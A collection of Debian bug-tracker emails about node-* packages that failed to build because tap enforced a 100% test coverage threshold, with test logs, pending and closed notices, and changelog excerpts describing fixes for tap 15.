(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
1009514: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009514
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: node-http-signature
Version: 1.3.6-1
Severity: serious
Justification: FTBFS
Tags: bookworm sid ftbfs
User: lu...@debian.org
Usertags: ftbfs-20220412 ftbfs-bookworm
Hi,
During a rebuild of all packages in sid, your package failed to build
on amd64.
Relevant part (hopefully):
> debian/rules binary
> dh binary
>dh_update_autotools_config
>dh_autoreconf
>dh_auto_configure --buildsystem=nodejs
>dh_auto_build --buildsystem=nodejs
> No build command found, searching known files
>dh_auto_test --buildsystem=nodejs
> mkdir -p node_modules
> ln -s ../. node_modules/http-signature
> /bin/sh -ex debian/tests/pkg-js/test
> + set -e
> + set -x
> + mkdir -p node_modules
> + nodepath uuid
> + ln -s /usr/share/nodejs/uuid node_modules/uuid
> + + ls -1 test/convert.test.js test/examples.test.js test/header.test.js
> test/parser.test.js test/signer.test.js test/verify.test.js
> + grep -v examples.test.jsxargs tap
>
> TAP version 13
> (node:3386692) DeprecationWarning: strictEqual() is deprecated, use equal()
> instead
> (Use `node --trace-deprecation ...` to show where the warning was created)
> (node:3386690) DeprecationWarning: similar() is deprecated, use match()
> instead
> (Use `node --trace-deprecation ...` to show where the warning was created)
> ok 1 - test/convert.test.js # time=54.359ms {
> # Subtest: 1024b pem to rsa ssh key
> ok 1 - should be equal
> 1..1
> ok 1 - 1024b pem to rsa ssh key # time=11.31ms
>
> # Subtest: 2048b pem to rsa ssh key
> ok 1 - should be equal
> 1..1
> ok 2 - 2048b pem to rsa ssh key # time=1.899ms
>
> # Subtest: 4096b pem to rsa ssh key
> ok 1 - should be equal
> 1..1
> ok 3 - 4096b pem to rsa ssh key # time=1.317ms
>
> # Subtest: 1024b rsa ssh key
> ok 1 - should be equal
> 1..1
> ok 4 - 1024b rsa ssh key # time=4.391ms
>
> # Subtest: 2048b rsa ssh key
> ok 1 - should be equal
> 1..1
> ok 5 - 2048b rsa ssh key # time=1.725ms
>
> # Subtest: 4096b rsa ssh key
> ok 1 - should be equal
> 1..1
> ok 6 - 4096b rsa ssh key # time=1.259ms
>
> # Subtest: 1024b dsa ssh key
> ok 1 - should be equal
> 1..1
> ok 7 - 1024b dsa ssh key # time=1.372ms
>
> # Subtest: fingerprint
> ok 1 - should be equal
> 1..1
> ok 8 - fingerprint # time=1.812ms
>
> 1..8
> # time=54.359ms
> }
>
> ok 2 - test/header.test.js # time=57.763ms {
> # Subtest: setup
> ok 1 - expect truthy value
> 1..1
> ok 1 - setup # time=24.26ms
>
> # Subtest: header with 0 value
> ok 1 - expect truthy value
> ok 2 - expect truthy value
> > Signature keyId="unit",algorithm="rsa-sha256",headers="date
> request-line
> content-length",signature="NRctKcjZL6WMsVFt9743vikccJbov/yc81S+PT0tORXManGTceNIQs2HxCil0h2ZcI8KLU3Q712GAUA23J5U2wTcoVfiPM/u9DTR9Up2lwlYVb5XrhGv62cRL9PUtEezcilB2sbYAUaancgTiJiFTKqqaaKwO6Z/cBR2/60miMo="
> 1..2
> ok 2 - header with 0 value # time=21.622ms
>
> # Subtest: header with boolean-mungable value
> ok 1 - expect truthy value
> ok 2 - expect truthy value
> > Signature keyId="unit",algorithm="rsa-sha256",headers="date
> x-foo",signature="qx1pW4xEuEIzmctlcxoUH8f1Q0xsqUNYv6NHOJKvbMIuuTe7m211s9IRDS5p+NBh5YcTTLIuOSyAmCUGFL29e+WZpFZ1FXvOoIeDSf7B95xYZ+nWAMRaV+rJnoyJumnH0mlTUO637UWw8VyCGqYuUtN5T3rqkZHNIZL85lTcAKA="
> 1..2
> ok 3 - header with boolean-mungable value # time=5.466ms
>
> # Subtest: tear down
> 1..0
> ok 4 - tear down # time=0.988ms
>
> 1..4
> # time=57.763ms
> }
>
> (node:3386693) [DEP0005] DeprecationWarning: Buffer() is deprecated due to
> security and usability issues. Please use the Buffer.alloc(),
> Buffer.allocUnsafe(), or Buffer.from() methods instead.
> (Use `node --trace-deprecation ...` to show where the warning was created)
> ok 3 - test/parser.test.js # time=1385.694ms {
> # Subtest: setup
> 1..0
Bug#1009521: marked as done (node-nopt: FTBFS: ERROR: Coverage for statements (87.95%) does not meet global threshold (100%))
Your message dated Mon, 18 Apr 2022 06:19:20 +
with message-id
and subject line Bug#1009521: fixed in node-nopt 5.0.0-3
has caused the Debian Bug report #1009521,
regarding node-nopt: FTBFS: ERROR: Coverage for statements (87.95%) does not
meet global threshold (100%)
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
1009521: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009521
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: node-nopt
Version: 5.0.0-2
Severity: serious
Justification: FTBFS
Tags: bookworm sid ftbfs
User: lu...@debian.org
Usertags: ftbfs-20220412 ftbfs-bookworm
Hi,
During a rebuild of all packages in sid, your package failed to build
on amd64.
Relevant part (hopefully):
> debian/rules binary
> dh binary
>dh_update_autotools_config
>dh_autoreconf
>dh_auto_configure --buildsystem=nodejs
>dh_auto_build --buildsystem=nodejs
> No build command found, searching known files
>dh_auto_test --buildsystem=nodejs
> mkdir -p node_modules
> ln -s ../. node_modules/nopt
> /bin/sh -ex debian/tests/pkg-js/test
> + tap test/basic.js
> TAP version 13
> (node:2045633) DeprecationWarning: deepEqual() is deprecated, use same()
> instead
> (Use `node --trace-deprecation ...` to show where the warning was created)
> ok 1 - test/basic.js # time=93.823ms {
> # Subtest: empty array is fine if type includes Array
> ok 1 - should be equivalent
> 1..1
> ok 1 - empty array is fine if type includes Array # time=8.663ms
>
> # Subtest: passing a string results in a string
> ok 1 - should be equivalent
> 1..1
> ok 2 - passing a string results in a string # time=3.536ms
>
> # Subtest: Empty String results in empty string, not true
> ok 1 - should be equivalent
> 1..1
> ok 3 - Empty String results in empty string, not true # time=1.199ms
>
> # Subtest: Empty String should not swallow next flag
> ok 1 - should be equivalent
> ok 2 - should be equivalent
> 1..2
> ok 4 - Empty String should not swallow next flag # time=1.593ms
>
> # Subtest: Empty String should not be true when type is single item Array
> ok 1 - should be equivalent
> 1..1
> ok 5 - Empty String should not be true when type is single item Array #
> time=1.798ms
>
> # Subtest: ~ path is resolved to $HOME
> ok 1 - should be equivalent
> 1..1
> ok 6 - ~ path is resolved to $HOME # time=1.296ms
>
> # Subtest: Unknown options are not parsed as numbers
> ok 1 - should be equal
> ok 2 - should be equal
> 1..2
> ok 7 - Unknown options are not parsed as numbers # time=1.321ms
>
> # Subtest: Check types based on name of type
> ok 1 - should be equal
> 1..1
> ok 8 - Check types based on name of type # time=0.665ms
>
> # Subtest: Missing types are not parsed
> ok 1 - should be equal
> 1..1
> ok 9 - Missing types are not parsed # time=0.637ms
>
> # Subtest: Types passed without a name are not parsed
> ok 1 - should be equal
> 1..1
> ok 10 - Types passed without a name are not parsed # time=0.579ms
>
> # Subtest: other tests
> ok 1 - should be equal
> ok 2 - should be equivalent
> ok 3 - should be equal
> ok 4 - should be equivalent
> ok 5 - should be equal
> ok 6 - should be equal
> ok 7 - should be equivalent
> ok 8 - should be equal
> ok 9 - should be equivalent
> ok 10 - should be equivalent
> ok 11 - should be equal
> ok 12 - should be equivalent
> ok 13 - should be equal
> ok 14 - should be equivalent
> ok 15 - should be equal
> ok 16 - should be equivalent
> ok 17 - should be equal
> ok 18 - should be equivalent
> ok 19 - should be equal
> ok 20 - should be equivalent
> ok 21 - should be equal
> ok 22 - should be equal
> ok 23 - should be equivalent
> ok 24 - should be equal
> ok 25 - should be equivalent
> ok 26 - should be equal
> ok 27 - should be equivalent
> ok 28 - should be equal
> ok 29 - should be equal
> ok 30 - should be equivalent
> ok 31 - should be equal
> ok 32 - should be equal
> ok 33 - should be equivalent
> ok 34 - should be equivalent
> ok 35 - should be equal
> ok 36 - should be
Processed: Bug#1009520 marked as pending in node-parents
Processing control commands: > tag -1 pending Bug #1009520 [src:node-parents] node-parents: FTBFS: ERROR: Coverage for statements (96.29%) does not meet global threshold (100%) Added tag(s) pending. -- 1009520: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009520 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1009520: marked as pending in node-parents
Control: tag -1 pending Hello, Bug #1009520 in node-parents reported by you has been fixed in the Git repository and is awaiting an upload. You can see the commit message below and you can check the diff of the fix at: https://salsa.debian.org/js-team/node-parents/-/commit/88809bd6f5998864ec395054658a23dce5495014 Fix test for tap >= 15 Closes: #1009520 (this message was generated automatically) -- Greetings https://bugs.debian.org/1009520
Processed: Bug#1009514 marked as pending in node-http-signature
Processing control commands: > tag -1 pending Bug #1009514 [src:node-http-signature] node-http-signature: FTBFS: ERROR: Coverage for statements (88.86%) does not meet global threshold (100%) Added tag(s) pending. -- 1009514: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009514 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1009514: marked as pending in node-http-signature
Control: tag -1 pending Hello, Bug #1009514 in node-http-signature reported by you has been fixed in the Git repository and is awaiting an upload. You can see the commit message below and you can check the diff of the fix at: https://salsa.debian.org/js-team/node-http-signature/-/commit/8afd034086c07d5820f94575d0e53e98706e77ac Fix test for tap >= 15 (--no-cov) Closes: #1009514 (this message was generated automatically) -- Greetings https://bugs.debian.org/1009514
Processed: Bug#1009570 marked as pending in node-dashdash
Processing control commands: > tag -1 pending Bug #1009570 [src:node-dashdash] node-dashdash: FTBFS: ERROR: Coverage for statements (81.9%) does not meet global threshold (100%) Added tag(s) pending. -- 1009570: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009570 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1009570: marked as pending in node-dashdash
Control: tag -1 pending Hello, Bug #1009570 in node-dashdash reported by you has been fixed in the Git repository and is awaiting an upload. You can see the commit message below and you can check the diff of the fix at: https://salsa.debian.org/js-team/node-dashdash/-/commit/444256721001e1745a1c5c8036f0c9d9d867cc99 Fix test for tap >= 15 (--no-cov) Closes: #1009570 (this message was generated automatically) -- Greetings https://bugs.debian.org/1009570
Processed: Bug#1009561 marked as pending in node-parse-base64vlq-mappings
Processing control commands: > tag -1 pending Bug #1009561 [src:node-parse-base64vlq-mappings] node-parse-base64vlq-mappings: FTBFS: ERROR: Coverage for statements (79.31%) does not meet global threshold (100%) Added tag(s) pending. -- 1009561: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009561 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1009561: marked as pending in node-parse-base64vlq-mappings
Control: tag -1 pending Hello, Bug #1009561 in node-parse-base64vlq-mappings reported by you has been fixed in the Git repository and is awaiting an upload. You can see the commit message below and you can check the diff of the fix at: https://salsa.debian.org/js-team/node-parse-base64vlq-mappings/-/commit/cc58d9ffcb8991346a621ffd423ae433416dc3d9 Fix test for tap >= 15 Closes: #1009561 (this message was generated automatically) -- Greetings https://bugs.debian.org/1009561
Bug#1009560: marked as pending in node-mute-stream
Control: tag -1 pending Hello, Bug #1009560 in node-mute-stream reported by you has been fixed in the Git repository and is awaiting an upload. You can see the commit message below and you can check the diff of the fix at: https://salsa.debian.org/js-team/node-mute-stream/-/commit/78410bb5e258d51c52aecf24a1a4aeb5c206066f Fix test for tap >= 15 (--no-cov) Closes: #1009560 (this message was generated automatically) -- Greetings https://bugs.debian.org/1009560
Processed: Bug#1009560 marked as pending in node-mute-stream
Processing control commands: > tag -1 pending Bug #1009560 [src:node-mute-stream] node-mute-stream: FTBFS: ERROR: Coverage for statements (75.36%) does not meet global threshold (100%) Added tag(s) pending. -- 1009560: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009560 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1009604: marked as done (node-ieee754: FTBFS: ERROR: Coverage for statements (77.96%) does not meet global threshold (100%))
Your message dated Mon, 18 Apr 2022 06:04:01 + with message-id and subject line Bug#1009604: fixed in node-ieee754 1.2.1-3 has caused the Debian Bug report #1009604, regarding node-ieee754: FTBFS: ERROR: Coverage for statements (77.96%) does not meet global threshold (100%) to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1009604: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009604 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: node-ieee754 Version: 1.2.1-2 Severity: serious Justification: FTBFS Tags: bookworm sid ftbfs User: lu...@debian.org Usertags: ftbfs-20220412 ftbfs-bookworm Hi, During a rebuild of all packages in sid, your package failed to build on amd64. Relevant part (hopefully): > debian/rules binary > dh binary >dh_update_autotools_config >dh_autoreconf >dh_auto_configure --buildsystem=nodejs >dh_auto_build --buildsystem=nodejs > No build command found, searching known files >dh_auto_test --buildsystem=nodejs > mkdir -p node_modules > ln -s ../. node_modules/ieee754 > /bin/sh -ex debian/tests/pkg-js/test > + tap -R spec test/basic.js > > test/basic.js > > ✓ should be truthy > > ✓ should be truthy > > ✓ should be truthy > > ✓ should be truthy > > 4 passing (906.328ms) > ERROR: Coverage for lines (77.96%) does not meet global threshold (100%) > ERROR: Coverage for branches (48.78%) does not meet global threshold (100%) > ERROR: Coverage for statements (77.96%) does not meet global threshold (100%) > --|-|--|-|-| > File | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line #s > > --|-|--|-|-| > All files | 77.96 |48.78 | 100 | 77.96 | > > index.js | 77.96 |48.78 | 100 | 77.96 | > 25,27,48-49,53-54,59,62-63,67-68,73-74 > --|-|--|-|-| > dh_auto_test: error: /bin/sh -ex debian/tests/pkg-js/test returned exit code 1 The full build log is available from: http://qa-logs.debian.net/2022/04/12/node-ieee754_1.2.1-2_unstable.log All bugs filed during this archive rebuild are listed at: https://bugs.debian.org/cgi-bin/pkgreport.cgi?tag=ftbfs-20220412;users=lu...@debian.org or: https://udd.debian.org/bugs/?release=na=ign=7=7=only=ftbfs-20220412=lu...@debian.org=1=1=1=1#results A list of current common problems and possible solutions is available at http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute! If you reassign this bug to another package, please marking it as 'affects'-ing this package. See https://www.debian.org/Bugs/server-control#affects If you fail to reproduce this, please provide a build log and diff it with mine so that we can identify if something relevant changed in the meantime. --- End Message --- --- Begin Message --- Source: node-ieee754 Source-Version: 1.2.1-3 Done: Yadd We believe that the bug you reported is fixed in the latest version of node-ieee754, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 1009...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Yadd (supplier of updated node-ieee754 package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Format: 1.8 Date: Mon, 18 Apr 2022 07:50:29 +0200 Source: node-ieee754 Architecture: source Version: 1.2.1-3 Distribution: unstable Urgency: medium Maintainer: Debian Javascript Maintainers Changed-By: Yadd Closes: 1009604 Changes: node-ieee754 (1.2.1-3) unstable; urgency=medium . * Team upload * Fix filenamemangle * Fix test for tap >= 15 (--no-cov) (Closes: #1009604) Checksums-Sha1: e5aae1d501d2b12a8e7357864f8a6fe178de41b5 2061 node-ieee754_1.2.1-3.dsc d4a18aace2f00eda5605d68989aaa11f642d9df7 3052 node-ieee754_1.2.1-3.debian.tar.xz Checksums-Sha256: 5fbb02c031738e645c26e7e39f4ecbdc84cd13675a3a791d356b6110a29a1324 2061 node-ieee754_1.2.1-3.dsc
Bug#1009534: marked as done (node-bunyan: FTBFS: ERROR: Coverage for statements (60.48%) does not meet global threshold (100%))
Your message dated Mon, 18 Apr 2022 06:03:55 +
with message-id
and subject line Bug#1009534: fixed in node-bunyan 2.0.5+~cs4.4.3-2
has caused the Debian Bug report #1009534,
regarding node-bunyan: FTBFS: ERROR: Coverage for statements (60.48%) does not
meet global threshold (100%)
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
1009534: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009534
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: node-bunyan
Version: 2.0.5+~cs4.4.3-1
Severity: serious
Justification: FTBFS
Tags: bookworm sid ftbfs
User: lu...@debian.org
Usertags: ftbfs-20220412 ftbfs-bookworm
Hi,
During a rebuild of all packages in sid, your package failed to build
on amd64.
Relevant part (hopefully):
> debian/rules binary
> dh binary
>dh_update_autotools_config
>dh_autoreconf
>dh_auto_configure --buildsystem=nodejs
> Link node_modules/exeunt -> ../exeunt
> Link node_modules/mv -> ../mv
> Link node_modules/safe-json-stringify -> ../safejsonstringify
>dh_auto_build --buildsystem=nodejs
> No build command found, searching known files
> No build command found, searching known files
> No build command found, searching known files
> No build command found, searching known files
>dh_auto_test --buildsystem=nodejs
> ln -s ../. node_modules/bunyan
> /bin/sh -ex debian/tests/pkg-js/test
> + tap test/add-stream.test.js test/buffer.test.js
> test/child-behaviour.test.js test/cli-client-req.test.js test/cli-res.test.js
> test/cli.test.js test/ctor.test.js test/cycles.test.js
> test/error-event.test.js test/level.test.js test/log.test.js
> test/other-api.test.js test/process-exit.test.js test/raw-stream.test.js
> test/ringbuffer.test.js test/safe-json-stringify.test.js
> test/serializers.test.js test/src.test.js test/stream-levels.test.js
> TAP version 13
> (node:280244) DeprecationWarning: ifError() is deprecated, use error() instead
> (Use `node --trace-deprecation ...` to show where the warning was created)
> (node:280253) DeprecationWarning: ifError() is deprecated, use error() instead
> (Use `node --trace-deprecation ...` to show where the warning was created)
> (node:280246) DeprecationWarning: ifError() is deprecated, use error() instead
> (Use `node --trace-deprecation ...` to show where the warning was created)
> ok 1 - test/add-stream.test.js # time=170.035ms {
> # Subtest: non-writables passed as stream
> ok 1 - "stream" stream is not writable
> ok 2 - "stream" stream is not writable
> 1..2
> ok 1 - non-writables passed as stream # time=100.014ms
>
> # Subtest: proper stream
> ok 1 - expect truthy value
> 1..1
> ok 2 - proper stream # time=7.192ms
>
> 1..2
> # time=170.035ms
> }
>
> ok 2 - test/buffer.test.js # time=86.813ms {
> # Subtest: log.info(BUFFER)
> ok 1 - log.trace msg is inspect(BUFFER)
> ok 2 - no "0" array index key in record: undefined
> ok 3 - no "parent" array index key in record: undefined
> ok 4 - log.trace(BUFFER, "bar") msg is inspect(BUFFER) + " bar"
> ok 5 - log.debug msg is inspect(BUFFER)
> ok 6 - no "0" array index key in record: undefined
> ok 7 - no "parent" array index key in record: undefined
> ok 8 - log.debug(BUFFER, "bar") msg is inspect(BUFFER) + " bar"
> ok 9 - log.info msg is inspect(BUFFER)
> ok 10 - no "0" array index key in record: undefined
> ok 11 - no "parent" array index key in record: undefined
> ok 12 - log.info(BUFFER, "bar") msg is inspect(BUFFER) + " bar"
> ok 13 - log.warn msg is inspect(BUFFER)
> ok 14 - no "0" array index key in record: undefined
> ok 15 - no "parent" array index key in record: undefined
> ok 16 - log.warn(BUFFER, "bar") msg is inspect(BUFFER) + " bar"
> ok 17 - log.error msg is inspect(BUFFER)
> ok 18 - no "0" array index key in record: undefined
> ok 19 - no "parent" array index key in record: undefined
> ok 20 - log.error(BUFFER, "bar") msg is inspect(BUFFER) + " bar"
> ok 21 - log.fatal msg is inspect(BUFFER)
> ok 22 - no "0" array index key in record: undefined
> ok 23 - no "parent" array index key in record: undefined
> ok 24 - log.fatal(BUFFER, "bar") msg is inspect(BUFFER) + " bar"
> 1..24
> ok 1 - log.info(BUFFER) # time=24.925ms
>
> 1..1
> # time=86.813ms
> }
>
> ok 3 - test/child-behaviour.test.js # time=70.369ms {
> # Subtest: child can add stream
Bug#1009501: marked as done (node-immediate: FTBFS: ERROR: Coverage for statements (65.68%) does not meet global threshold (100%))
Your message dated Mon, 18 Apr 2022 06:04:07 + with message-id and subject line Bug#1009501: fixed in node-immediate 3.3.0+dfsg-3 has caused the Debian Bug report #1009501, regarding node-immediate: FTBFS: ERROR: Coverage for statements (65.68%) does not meet global threshold (100%) to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1009501: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009501 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: node-immediate Version: 3.3.0+dfsg-2 Severity: serious Justification: FTBFS Tags: bookworm sid ftbfs User: lu...@debian.org Usertags: ftbfs-20220412 ftbfs-bookworm Hi, During a rebuild of all packages in sid, your package failed to build on amd64. Relevant part (hopefully): > debian/rules binary > dh binary >dh_update_autotools_config >dh_autoreconf >dh_auto_configure --buildsystem=nodejs >dh_auto_build --buildsystem=nodejs >dh_auto_test --buildsystem=nodejs > mkdir -p node_modules > ln -s ../. node_modules/immediate > /bin/sh -ex debian/tests/pkg-js/test > + tap -R spec test/tests.js > > test/tests.js > > ✓ handler executed > > ✓ should be falsy > > ✓ handler called > > ✓ big one works > > ✓ first one works > > ✓ second one starts > > ✓ an error is thrown > > ✓ error is third > > ✓ 3rd schedualed happens after the error > > ✓ recursive one is 4th > > ✓ schedualed in error is last > > 11 passing (1s) > ERROR: Coverage for lines (65.34%) does not meet global threshold (100%) > ERROR: Coverage for functions (33.33%) does not meet global threshold (100%) > ERROR: Coverage for branches (69.44%) does not meet global threshold (100%) > ERROR: Coverage for statements (65.68%) does not meet global threshold (100%) > ---|-|--|-|-|--- > File | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line > #s > ---|-|--|-|-|--- > All files | 65.68 |69.44 | 33.33 | 65.34 | > > index.js | 91.07 | 75 | 100 |90.9 | 17,23,33,78-80 > > messageChannel.js | 22.22 |0 | 0 | 22.22 | 4-9,13-16 > > mutation.js | 30 | 100 | 0 | 30 | 9,13-20 > > nextTick.js | 100 | 100 | 100 | 100 | > > queueMicrotask.js | 40 | 100 | 0 | 40 | 3,7-8 > > stateChange.js| 16.66 |0 | 0 | 16.66 | 4,8-22 > > timeout.js| 40 | 100 | 0 | 40 | 3,7-8 > > ---|-|--|-|-|--- > dh_auto_test: error: /bin/sh -ex debian/tests/pkg-js/test returned exit code 1 The full build log is available from: http://qa-logs.debian.net/2022/04/12/node-immediate_3.3.0+dfsg-2_unstable.log All bugs filed during this archive rebuild are listed at: https://bugs.debian.org/cgi-bin/pkgreport.cgi?tag=ftbfs-20220412;users=lu...@debian.org or: https://udd.debian.org/bugs/?release=na=ign=7=7=only=ftbfs-20220412=lu...@debian.org=1=1=1=1#results A list of current common problems and possible solutions is available at http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute! If you reassign this bug to another package, please marking it as 'affects'-ing this package. See https://www.debian.org/Bugs/server-control#affects If you fail to reproduce this, please provide a build log and diff it with mine so that we can identify if something relevant changed in the meantime. --- End Message --- --- Begin Message --- Source: node-immediate Source-Version: 3.3.0+dfsg-3 Done: Yadd We believe that the bug you reported is fixed in the latest version of node-immediate, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 1009...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Yadd (supplier of updated node-immediate package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512
Bug#1009521: marked as pending in node-nopt
Control: tag -1 pending Hello, Bug #1009521 in node-nopt reported by you has been fixed in the Git repository and is awaiting an upload. You can see the commit message below and you can check the diff of the fix at: https://salsa.debian.org/js-team/node-nopt/-/commit/6780d0a6b0a2bd56411f7e2f751765906dd73bb9 Fix test for tap >= 15 Closes: #1009521 (this message was generated automatically) -- Greetings https://bugs.debian.org/1009521
Processed: Bug#1009521 marked as pending in node-nopt
Processing control commands: > tag -1 pending Bug #1009521 [src:node-nopt] node-nopt: FTBFS: ERROR: Coverage for statements (87.95%) does not meet global threshold (100%) Added tag(s) pending. -- 1009521: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009521 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
